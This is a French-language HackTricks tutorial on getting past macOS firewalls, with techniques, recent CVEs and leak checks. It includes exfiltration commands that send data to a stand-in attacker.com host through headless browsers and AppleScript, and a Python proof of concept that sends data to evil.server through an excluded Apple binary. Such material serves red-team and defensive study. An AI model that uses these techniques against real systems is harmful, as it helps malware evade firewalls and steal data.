macOS Bypassing Firewalls
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Techniques trouvées
Les techniques suivantes ont été trouvées fonctionnant dans certaines applications de pare-feu macOS.
Abus des noms de liste blanche
- Par exemple, appeler le malware avec des noms de processus macOS bien connus comme
launchd
Clic synthétique
- Si le pare-feu demande la permission Ă l'utilisateur, faire en sorte que le malware clique sur autoriser
Utiliser des binaires signés par Apple
- Comme
curl
, mais aussi d'autres commewhois
Domaines Apple bien connus
Le pare-feu pourrait autoriser les connexions vers des domaines Apple bien connus tels que apple.com
ou icloud.com
. Et iCloud pourrait ĂȘtre utilisĂ© comme un C2.
Contournement générique
Quelques idées pour essayer de contourner les pare-feu
Vérifier le trafic autorisé
Connaßtre le trafic autorisé vous aidera à identifier les domaines potentiellement sur liste blanche ou quelles applications sont autorisées à y accéder.
lsof -i TCP -sTCP:ESTABLISHED
Abus de DNS
Les résolutions DNS sont effectuées via l'application signée mdnsreponder
qui sera probablement autorisée à contacter les serveurs DNS.
.png)
Via les applications de navigateur
- oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
- Google Chrome
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
- Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
- Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
Via injections de processus
Si vous pouvez injecter du code dans un processus qui est autorisé à se connecter à n'importe quel serveur, vous pourriez contourner les protections du pare-feu :
Vulnérabilités récentes de contournement du pare-feu macOS (2023-2025)
Contournement du filtre de contenu Web (Temps d'Ă©cran) â CVE-2024-44206
En juillet 2024, Apple a corrigĂ© un bug critique dans Safari/WebKit qui a rompu le âfiltre de contenu Webâ Ă l'Ă©chelle du systĂšme utilisĂ© par les contrĂŽles parentaux de Temps d'Ă©cran. Une URI spĂ©cialement conçue (par exemple, avec un double encodage URL â://â) n'est pas reconnue par l'ACL de Temps d'Ă©cran mais est acceptĂ©e par WebKit, donc la requĂȘte est envoyĂ©e sans filtre. Tout processus capable d'ouvrir une URL (y compris le code sandboxĂ© ou non signĂ©) peut donc atteindre des domaines qui sont explicitement bloquĂ©s par l'utilisateur ou un profil MDM.
Test pratique (systÚme non corrigé) :
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
Bug d'ordre des rĂšgles du filtre de paquets (PF) dans les premiĂšres versions de macOS 14 âSonomaâ
Pendant le cycle bĂȘta de macOS 14, Apple a introduit une rĂ©gression dans l'enveloppe utilisateur autour de pfctl
.
Les rÚgles ajoutées avec le mot-clé quick
(utilisĂ© par de nombreux kill-switches VPN) Ă©taient silencieusement ignorĂ©es, provoquant des fuites de trafic mĂȘme lorsqu'une interface graphique VPN/firewall rapportait bloquĂ©. Le bug a Ă©tĂ© confirmĂ© par plusieurs fournisseurs de VPN et corrigĂ© dans RC 2 (build 23A344).
Vérification rapide des fuites :
pfctl -sr | grep quick # rules are presentâŠ
sudo tcpdump -n -i en0 not port 53 # âŠbut packets still leave the interface
Abus des services d'assistance signĂ©s par Apple (hĂ©ritage â avant macOS 11.2)
Avant macOS 11.2, la ContentFilterExclusionList
permettait Ă ~50 binaires Apple tels que nsurlsessiond
et l'App Store de contourner tous les pare-feu Ă filtre de socket mis en Ćuvre avec le cadre Network Extension (LuLu, Little Snitch, etc.).
Les logiciels malveillants pouvaient simplement crĂ©er un processus excluâou y injecter du codeâet faire passer leur propre trafic sur le socket dĂ©jĂ autorisĂ©. Apple a complĂštement supprimĂ© la liste d'exclusion dans macOS 11.2, mais la technique est toujours pertinente sur les systĂšmes qui ne peuvent pas ĂȘtre mis Ă jour.
Exemple de preuve de concept (avant 11.2) :
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")
Conseils d'outillage pour macOS moderne
- Inspecter les rÚgles PF actuelles générées par les pare-feu GUI :
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
- ĂnumĂ©rer les binaires qui dĂ©tiennent dĂ©jĂ le droit outgoing-network (utile pour le piggy-backing) :
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
- Enregistrer programmétiquement votre propre filtre de contenu d'extension réseau en Objective-C/Swift. Un PoC minimal sans racine qui redirige les paquets vers un socket local est disponible dans le code source de LuLu de Patrick Wardle.
Références
- https://www.youtube.com/watch?v=UlT5KFTMn2k
- https://nosebeard.co/advisories/nbl-001.html
- https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.